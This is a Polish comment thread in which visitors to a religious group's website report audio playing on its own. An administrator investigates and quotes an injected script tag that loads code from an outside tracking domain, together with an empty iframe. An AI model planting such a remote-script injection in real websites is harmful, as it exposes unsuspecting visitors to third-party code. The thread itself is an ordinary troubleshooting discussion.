Ze strony Legionu płynie momentami głośna muzyka ( punk-rock i techno). Jak zamknę stronę, zamykam również muzykę.
Kiedy otwieram Legion ponownie, za jakiś czas znów włącza się muzyka.
Czy administracja coś o tym wie?
Jesteśmy radiem?
Ze strony Legionu płynie momentami głośna muzyka ( punk-rock i techno). Jak zamknę stronę, zamykam również muzykę.
Kiedy otwieram Legion ponownie, za jakiś czas znów włącza się muzyka.
Czy administracja coś o tym wie?
Jesteśmy radiem?
Copyright Legion Św. Ekspedyta. All Rights Reserved.
już wie
…pewnie sam diabeł wdarł się do Klasztoru…i straszy w klasztornych celach :))…ale myślę, że ojciec Markus przeprowadzi sposobny egzorcyzm i zdławi dziada w zarodku :))pozdrawiam niepoprawnie
Jest jakieś wytłumaczenie tego zjawiska?
Teraz np. słyszę głos męski jakby radiowego lektora po angielsku z amerykańskim akcentem i znów muzykę techno, powtarzające się 4 takty jak w dżinglu radiowym.
A jak kliknęłam w ”opublikuj komentarz” wszystko ucichło.
Dźwięk był tak głośny na full, że musiałam wyciszyć zewnętrzny głośnik.
I jak wysyła koment, kiedy się odświeża strona na sekundę pojawia się pusta strona z pustą ramką po lewej stronie na górze.
Nie mam tego kiedy otwieram inne strony, np. Frondę.
Teraz i na innych stronach mam to zjawisko. To chyba wirus w moim komputerze.
Na razie dla eksperymentu wyłączyłem wtyczkę slimstats zbierającą statystyki odwiedzin.
I tak nie była dostępna publicznie ze względu na ochronę prywatności (statystyki zawierały adresy IP odwiedzających).
Nie jestem na 100% pewien, że to ona. Jeśli problem będzie się powtarzać, to będę tropić dalej.
To, z czym mamy doczynienia na Ekspedycie raczej zaraźliwe nie jest.
Po prostu jakiś skrypt (jeden z kilkudziesięciu w portalu) woła jakiś kod z dziwnego serwera nie wiadomo-do-czego-służącego a on ściąga strumień audio (dźwięku).
Kwestia ewentualnego istnienia duszy tego “demona” jest w każdym razie poza dyskusją ;-)
Przyznam, że trochę się zjeżyłem jak zobaczyłem jakieś masons.js (masons po angielsku to l. mn. od mason, a js to oznaczenie skryptu JavaScript.
Takie coś siedziało na początku strony:
[script src=”http://tracksitetraffic1.com/stats/publishers/masons.js” type=”text/javascript”][/script][iframe id=”iframebojan” src=”” name=””][/iframe][ !DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”][html xmlns=”http://www.w3.org/1999/xhtml” lang=”pl-PL”] [head profile=”http://gmpg.org/xfn/11″][/head][/html]
NB – słowo masonry znane jest w świecie projektowania stron WWW ponieważ oznacza “murowanie”, czyli “układanie z cegiełek” (modne ostatnio “layouty”, czyli układy interfejsu, w których ekran zawiera “cegły” składające się ew. z mniejszych “cegiełek”, jak np. tutaj: http://masonry.desandro.com/)
Nie mam uprawnień ale chyba okresowe egzorcyzmowanie serwera (zdalnie, np. przez ssh) i kodu naszego portalu byłoby wskazane.
Pozdrawiam
Teraz nic nie gra, ale nie wiem czy po twoich działaniach, czy po tym że przeczyściłam kompa CCleanerem.
Pod koniec nadawało to ”coś” reklamy po polsku. Może to więc być jakaś forma ”agresywnego marketingu”
Poszukałam o wirusach dźwiękowych, ale to chyba nie to;
http://zaufanatrzeciastrona.pl/post/badacz-twierdzi-ze-wirus-komunikuje-sie-przez-karte-dzwiekowa/
http://www.computerworld.pl/artykuly/280668/Dzwiekowe.wirusy.html
U mnie też przestało :)
U ciebie też grało?
Tak, najpierw mi DelfInn powiedział, a potem przeczytałem Twoją notkę, a potem doświadczyłem na własnym komputerze.
W takich przypadkach przydałby się SMS, bo nigdy nie wiadomo, co to za zaraza – a ja akurat zabalowałem na mieście bez komputera.
Jeśli pod naszą stronę podpina się jakiś kod z innego serwera, to może nawet dochodzić do infekowania komputerów z których ktoś wchodzi na “Ekspedyta”.
Tfu, tfu….
Tak właśnie było. Wyłączyłam Ekspedyta i na Frondzie zaczęło grać. Dlatego przeczyściłam CCleanerem i przestało. Mam nadzieję, że to było jakieś ciasteczko nie wirus.
A tu masz nauczycielu w nagrodę;
http://www.obrazki.jeja.pl/94445,czworonozny-nauczyciel.html
Dziękuję :)
Ciasteczka to pliki z danymi. Nic nie robią, tylko leżą. Mogą być czasem zjedzone.
Ten “grajek” to też nie wirus, bo nie infekuje i się nie mnoży (mam nadzieję).
Raczej taka podnawka, która czepia się stron internetowych by na ich “grzbiecie” dopłynąć do komputera użytkownika.
Aha. Dzięx.